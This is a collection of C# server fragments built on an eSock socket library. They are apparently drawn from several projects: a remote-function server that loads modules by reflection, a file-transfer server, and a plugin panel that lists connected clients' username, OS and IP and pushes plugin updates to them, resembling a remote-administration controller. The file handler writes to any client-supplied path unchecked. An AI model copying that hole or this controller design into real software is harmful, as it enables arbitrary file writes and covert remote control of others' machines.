void NetworkServer_OnClientConnect(eSock.Server sender, eSock.Server.eSockClient client) { MLClientData _ClientData = new MLClientData(GetUniqueID(), client); ConnectedClients.Add(_ClientData.ID, _ClientData); client.Tag = _ClientData; }
private void btnStart_Click(object sender, EventArgs e) { _server = new eSock.Server(); _server.OnDataRetrieved += _server_OnDataRetrieved; if (!_server.Start((int)nudPort.Value)) { MessageBox.Show("Failed to start."); return; } btnStart.Enabled = false; nudPort.Enabled = false; }
private static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { try { NetworkHeaders header = (NetworkHeaders)data[0]; if (header == NetworkHeaders.Handshake) { string key = Guid.NewGuid().ToString(); client.Send((byte)NetworkHeaders.AcceptHandshake, key); client.Encryption.EncryptionKey = key; client.Encryption.Enabled = true; return; } if (header == NetworkHeaders.RemoteCall) { string function = (string)data[1]; if (!LoadedFunctions.ContainsKey(function)) { Console.WriteLine("Invalid call ({0})", function); client.Send(null); return; } object[] args = (object[])data[2]; object result = LoadedFunctions[function].Invoke(null, args); client.Send(result); Console.WriteLine("Function Call ({0}) Value={1}", function, result); } } catch (Exception ex) { try { client.Send(null); } catch { } Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error: {0}", ex.Message); Console.ResetColor(); } }
private void button1_Click(object sender, EventArgs e) { NetworkServer = new eSock.Server(); NetworkServer.BufferSize = 8192; NetworkServer.OnClientConnect += NetworkServer_OnClientConnect; NetworkServer.OnClientConnecting += NetworkServer_OnClientConnecting; NetworkServer.OnClientDisconnect += NetworkServer_OnClientDisconnect; NetworkServer.OnDataRetrieved += NetworkServer_OnDataRetrieved; if (NetworkServer.Start((int)numericUpDown1.Value)) { this.Text += ": " + numericUpDown1.Value.ToString(); gbNetwork.Enabled = false; } else { MessageBox.Show("Failed to listen"); } }
static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { PacketHeader header = (PacketHeader)(byte)data[0]; if (header == PacketHeader.StartFileTransfer) { int _fHandle = Handle; lock (_server) { while (FileHandles.ContainsKey(_fHandle)) { _fHandle = ++Handle; } } FileHandles.Add(_fHandle, new FileStream((string)data[1], FileMode.Create)); client.Send((byte)PacketHeader.FileTransferResponce, _fHandle); } if (header == PacketHeader.FileTransferBlock) { int _fhandle = (int)data[1]; byte[] block = (byte[])data[2]; bool finalBlock = (bool)data[3]; if (!FileHandles.ContainsKey(_fhandle)) { return; } FileHandles[_fhandle].Write(block, 0, block.Length); if (finalBlock) { FileHandles[_fhandle].Close(); FileHandles[_fhandle].Dispose(); FileHandles.Remove(_fhandle); lock (_server) { if (Handle > _fhandle) { Handle = _fhandle; } } } } }
void NetworkServer_OnClientDisconnect(eSock.Server sender, eSock.Server.eSockClient client, System.Net.Sockets.SocketError ER) { MLClientData _ClientData = (MLClientData)client.Tag; RemoveListView((ListViewItem)_ClientData.DisplayObject); if (ConnectedClients.ContainsKey(_ClientData.ID)) ConnectedClients.Remove(_ClientData.ID); foreach (var plugin in LoadedPlugins) { try { plugin.Value.ServerPlugin.OnClientDisconnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData)); } catch(Exception ex) { DisplayException(plugin.Value, ex); } } }
private void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { try { NetworkHeaders header = (NetworkHeaders)data[0]; if (header == NetworkHeaders.Handshake) { string key = Guid.NewGuid().ToString(); client.Send((byte)NetworkHeaders.AcceptHandshake, key); client.Encryption.EncryptionKey = key; client.Encryption.Enabled = true; return; } if (header == NetworkHeaders.RemoteCall) { string functionHash = (string)data[1]; if (!LoadedFunctions.ContainsKey(functionHash)) { Console.WriteLine("Invalid call ({0})", functionHash); client.Send(null); return; } object[] args = (object[])data[2]; RemoteFunction function = LoadedFunctions[functionHash]; client.Send(function.Execute(args)); Console.WriteLine("Function Call ({0}) Value={1}", function, functionHash); } } catch (Exception ex) { client.Send(null); LogError(ex); } }
bool NetworkServer_OnClientConnecting(eSock.Server sender, System.Net.Sockets.Socket cSock) { return(true); }
void NetworkServer_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { lock (client) { try { MLClientData _ClientData = (MLClientData)client.Tag; Guid PluginID = (Guid)data[0]; if (PluginID == Guid.Empty) { NetworkPacket command = (NetworkPacket)data[1]; Debug.WriteLine(command, "Command"); if (!_ClientData.Handshaken) { if (command == NetworkPacket.Handshake) { _ClientData.Handshaken = true; _ClientData.Encryption.GenerateRandomKey(); client.Send(Guid.Empty, (byte)NetworkPacket.Connect, _ClientData.Encryption.Key); _ClientData.Encryption.Enabled = true; return; } return; } if (command == NetworkPacket.BasicSettingsUpdated) { Debug.WriteLine("Basic settings updated", "Settings"); ListViewItem i = new ListViewItem(_ClientData.Settings.GetSetting <string>("Username", "Default")); i.Tag = _ClientData; i.SubItems.Add(client.NetworkSocket.RemoteEndPoint.ToString()); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("OS", "WinX Lollypop (Unknowen)")); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("Cores", "0")); _ClientData.DisplayObject = i; AddListview(i); foreach (var plugin in LoadedPlugins) { try { plugin.Value.ServerPlugin.OnClientConnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData)); } catch (Exception ex) { DisplayException(plugin.Value, ex); } } } if (command == NetworkPacket.UpdateSetting) { string settingName = (string)data[2]; object value = data[3]; _ClientData.Settings.UpdateSetting(settingName, value); Debug.WriteLine(string.Format("Updated {0}", settingName), "Settings"); } if (command == NetworkPacket.UpdateSettingsDictionary) { var settings = (Dictionary <string, object>)data[2]; foreach (var dcItem in settings) { _ClientData.Settings.UpdateSetting(dcItem.Key, dcItem.Value); } } #region " Plugin Checksum " if (command == NetworkPacket.Checksums) { bool Updated = false; Dictionary <Guid, string> Checksums = (Dictionary <Guid, string>)data[2]; if (Checksums == null) { foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } return; } foreach (var plugin in Checksums) { Guid ID = plugin.Key; string checksum = plugin.Value; if (!LoadedPlugins.ContainsKey(ID)) { client.Send(Guid.Empty, (byte)NetworkPacket.DeletePlugin, ID); Updated = true; continue; } if (LoadedPlugins[ID].ClientPluginChecksum != checksum) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; MLPlugin PluginData = plugin.Value; if (!Checksums.ContainsKey(ID)) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } if (Updated) { client.Send(Guid.Empty, (byte)NetworkPacket.Restart); } else { client.Send(Guid.Empty, (byte)NetworkPacket.PluginsVerified); } _ClientData.PluginsVerified = true; } #endregion return; } if (LoadedPlugins.ContainsKey(PluginID)) { LoadedPlugins[PluginID].ServerPlugin.OnDataRetrieved(new MLClient(_ClientData.ID, PluginID, _ClientData), (object[])data[1]); } } catch (Exception ex) { DisplayException(null, ex); } } }
static void _server_OnClientConnect(eSock.Server sender, eSock.Server.eSockClient client) { Console.WriteLine("Client connected"); }
static void _server_OnClientDisconnect(eSock.Server sender, eSock.Server.eSockClient client, System.Net.Sockets.SocketError ER) { Console.WriteLine("Client disconnected"); }
static void Main(string[] args) { DirectoryInfo di = new DirectoryInfo("Modules"); if (!di.Exists) { di.Create(); } Console.Title = string.Format("NetCore Server v{0}", Assembly.GetExecutingAssembly().GetName().Version); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("NetCore Server - BahNahNah"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkMagenta; foreach (FileInfo fi in di.GetFiles("*.ncm")) { try { Assembly asm = Assembly.LoadFile(fi.FullName); foreach (Type t in asm.GetTypes()) { foreach (MethodInfo mi in t.GetMethods()) { if (!Attribute.IsDefined(mi, typeof(RemoteCallAttribute))) { continue; } string name = string.Format("{0}.{1}", t.FullName, mi.Name); string hash = Hashing.SHA(name); if (LoadedFunctions.ContainsKey(hash)) { Console.WriteLine("Duplicate name: {0}", name); } else { LoadedFunctions.Add(hash, mi); Console.WriteLine("Loaded {0}", name); } } } } catch (ReflectionTypeLoadException ex) { Console.WriteLine("Error: {0}", ex.Message); StringBuilder sb = new StringBuilder(); foreach (Exception exSub in ex.LoaderExceptions) { sb.AppendLine(exSub.Message); FileNotFoundException exFileNotFound = exSub as FileNotFoundException; if (exFileNotFound != null) { if (!string.IsNullOrEmpty(exFileNotFound.FusionLog)) { sb.AppendLine("Fusion Log:"); sb.AppendLine(exFileNotFound.FusionLog); } } sb.AppendLine(); } string errorMessage = sb.ToString(); Console.ForegroundColor = ConsoleColor.Red; Console.Write(errorMessage); Console.ForegroundColor = ConsoleColor.Magenta; } catch (Exception ex) { Console.WriteLine("Error: {0}", ex.Message); } } Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Loaded {0} remote functions.", LoadedFunctions.Count); Console.WriteLine(); int port = 0; Console.ResetColor(); Console.Write("Listening port (default 3345): "); if (!int.TryParse(Console.ReadLine(), out port)) { port = 3345; } Console.ForegroundColor = ConsoleColor.Blue; Console.WriteLine("Starting on port {0}...", port); _server = new eSock.Server(); _server.OnDataRetrieved += _server_OnDataRetrieved; if (!_server.Start(port)) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Failed to start on port {0}, press enter to exit.", port); Console.ReadLine(); return; } Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine("Server started!"); Console.WriteLine(); Console.ResetColor(); AcceptCommands(); }